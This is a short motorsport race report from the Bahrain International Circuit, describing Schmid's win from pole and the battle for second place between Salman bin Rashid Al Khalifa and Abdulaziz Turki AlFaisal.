Clearly there was no stopping the boy.

Having once again secured pole position, there was no stopping Schmid from scampering off into the distance as the sun dipped below the Bahrain horizon. The Austrian had judged his start perfectly and his nearest rivals would later admit that there was just no catching him.
Round one podium finisher Abdulaziz Turki AlFaisal meanwhile had larger problems than simply watching the Al Nabooda Porsche rear-end disappear. Team Bahrain’s Salman bin Rashid Al Khalifa, rejuvenated and fired up after his race one battle with Karim Al-Azhari, would later catch ATF unawares, slicing through to take second place where he duly stayed to the finish.
Considering the drive shaft issues that hindered his qualifying efforts, AlFaisal had bounced back admirably at the Bahrain International Circuit. The reigning Champion meanwhile was confident that even despite securing two podium finishes from the opening rounds, his performance would further improve at the next round at the Yas Marina Circuit in Abu Dhabi, familiar hunting ground and a circuit that has proven kind to the Saudi local boy in days gone by.
